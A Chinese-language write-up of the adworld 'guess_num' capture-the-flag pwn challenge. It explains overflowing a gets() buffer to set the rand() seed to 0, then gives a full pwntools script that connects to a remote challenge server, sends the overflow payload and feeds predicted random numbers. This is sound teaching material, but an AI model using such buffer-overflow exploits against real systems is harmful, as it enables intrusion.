adworld-pwn-guess

it2025-06-03  28

本题考查知识点

srand()函数和rand()函数的随机数生成规则gets()函数漏洞 – 实现栈溢出

check_sec 扔到IDA分析代码逻辑

srand()函数和rand()函数 前者设置随机种子,后者产生随机数 设置随机种子之后,随机数是循环产生的

从上图中可以看到v8和seed之间的位置关系,而v8是通过gets()函数输入的,我们可以通过栈溢出,从而达到设置seed的目的

v8 占用0x20个字节seed 占用8个字节

所以我们构造下面的payload即可设置seed为0

payload = 'a' * 0x20 + p64(0)

确定了seed为0,如何循环产生相应的随机数呢?

该文件为 elf 文件 我们可以通过 pwntools 的ELF来看该程序运行时所加载的.so文件 从而将lib库导入进来,使用其rand()函数来生成随机数

from pwn import * elf = ELF('./guess_num') libc = elf.libc

可以知道该程序加载了libc-2.31.so文件 那么我们可以使用python的ctypes库中的cdll函数来加载该文件

from pwn import * from ctypes import * io = remote('220.249.52.133', 46272) # elf = ELF('./guess_num') # libc = elf.libc libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc-2.31.so") payload = bytes('a' * 0x20, encoding='utf8') + p64(0) io.sendlineafter('Your name:', payload) libc.srand(0) for i in range(10): msg = str(libc.rand() % 6 + 1) io.sendlineafter('Please input your guess number:', msg) io.interactive()

当然还有一种解法就是 写一份代码,其seed为0,然后生成10个随机数 用gcc编译,运行可以得到10个随机数 最后将这10个随机数依此输入就OK了

最新回复(0)